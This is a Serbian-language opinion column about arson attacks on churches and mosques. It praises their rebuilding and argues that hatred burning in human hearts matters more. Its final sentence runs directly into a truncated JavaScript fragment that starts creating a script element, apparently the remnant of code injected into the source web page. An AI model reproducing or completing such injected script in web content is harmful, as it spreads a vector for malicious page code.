KOLUMNA, ISIDORA: Zapaljene crkve i zabludela srca

Koliko božijih hramova ljubavi dnevno se ispuni trajnom mržnjom zbog ovog i onog razloga, neretko i u ime dragog Boga koji ama baš ništa nema sa tim...

Uvek se dobri ljudi pitaju koji poremećen mozak može da zapali bilo koju kuću, a kamoli bogomolju.

Ipak, kroz istoriju najniže strasti i pomereno shvatanje vere dovodili su do mnogo paljenja i rušenja. Velika je stvar da je džamija Ferhadija ponovo izgrađena u Banjaluci. To, naravno, ne može vratiti onaj prelepi objekat iz 16. veka koji su neki poremećeni umovi spalili pre 23 godine, ali svaka iznova sazidana bogomolja je svedočanstvo da je dobro prevladalo zlo, da je ljudskost nadvladala zverstvo, da ima nade za nas ljude.

Setimo se i ovom prilikom velikog Efendije tuzlanskog Kurta koji je svojim odlučnim "Ne" Artukoviću spasio stotine života pravoslavaca i Jevreja i Saborni hram u tom gradu. Ili našeg predivnog slepog prote Golijana koji je svojim životom garantovao da spase dva imama u vreme poslednjeg rata...

Samo pre neki dan zapaljene su četiri pravoslavne crkve. Mnogo sam volela crkvu Svetog Save na Menhetnu - ušuškana u samom srcu Njujorka ona je bila mala oaza utehe da se ne nikad ne osetim usamljeno u dalekoj Americi.

Kad god se zapali neka bogomolja čuju se pokliči onih koji bi odmah da se svete kao da zlodelo ima veze sa konfesijom, a ne sa poremećenin umom, jer svakom zlodelu je mržnja jedina konfesija. Bogomolje su ljudi izgradili da bi se molili i blagodarili Gospodu, ali ljudsko srce jeste istinski Božiji hram ljubavi koje je on lično stvorio. Nema tog hladnog kamena i mermera ma kako bio star skup i lep zbog kojeg imamo pravo isprljati svoje srce mržnjom.

Roditelji su me učili da u čoveku prvo gledam srce. Njegova koža, vera, pol, bogatstvo to je tek odeća koje srce zaodene da provede svoje kratko vreme na ovom svetu. Neretko uz Božije dopuštenje desavaju se stradanja da bi se videlo čije je srce kakvo, ali i da bi se srce vratilo ljubavi.

Kakav sam šok doživela kada sam prvi put na Malti zakoračila u palatu Velikog inkvizitora. Te jezive sprave za mučenje morale su izaći iz nečijeg bolesnog uma koji je kao i svi verovao da sve to radi za dobrobit boga i čovečanstva.

Ništa tako brzo i lako ne potamni srce kao vulgarna uverenost da smo baš mi i samo mi vlasnici znanja o istini i pravdi. Iz te uverenosti i poslusnosti takvim patološkim ličnostima nastala su sva ljudska zla - ubijanja, mučenja, bombardovanja, spaljivanja.

Nije bilo dovoljno da se u ime te "istine" ubijaju drugi već je razapet i sam Božiji sin.
Dakle, nije lako gospodu sa nama ljudima. Uprkos hiljadama prelepih bogomolja koje mu je čovečanstvo podiglo, njemu je samo bitno naše srce i duša, da su oni čisti i puni ljubavi.

Izgleda malo da traži od nas, ali broj zverstava svedoči koliko je to teško...u materijalnom svetu vidimo kako nestaju i grade se nove bogomolje, ali koliko srca dnevno izgori? Koliko božijih hramova ljubavi dnevno se ispuni trajnom mržnjom zbog ovog i onog razloga, neretko i u ime dragog Boga koji ama baš ništa nema sa tim... Kao ni sa onim bogom koga su komunisti sahranili iz vere da je on "kriv" za ljudska zverstva i nepravde.

Vratiti ljubav u ta srca, oteti ih od slepila mržnje je glavno neimarstvo. Sveti Otac Serafim kaže da je izdržati mirno ružne reci, klevete i mržnju - kao da smo otisli na pokloničko putovanje od hiljade kilometara. Svako od nas svaki dan brani svoje srce od napasti mržnje, klevete, laži..

Sačuvati Gospoda u svom srcu isto je kao podići spaljenu bogomolju. I tako svaki dan iznova. Puno je mržnjom zabludelih koji bi da u ime "pravde i jedine istine" ruše tuđe bogomolje, ali koliko se tek dnevno mržnjom, zlom, ljubomorom spali istinskih Božijih hramova - ljudskih srca?

Dovoljno je da pročitate bilo koji tekst na internetu i pogledate komentare da vidite koliko je mržnja postala glavna ideologija nju ejdža. Povod nije važan- novac, zavist, politika, religija, svejedno. Svaka čast neimarima i dobrim ljudima koji ponovo iz pepela dižu uništene bogomolje, ali spasiti svoje srce ijedne kapi mržnje bez obzira kakvo zlo i neopravdu trpimo najveće je neimarstvo koje Gospod traži od nas.var d=document;var s=d.createElement('script');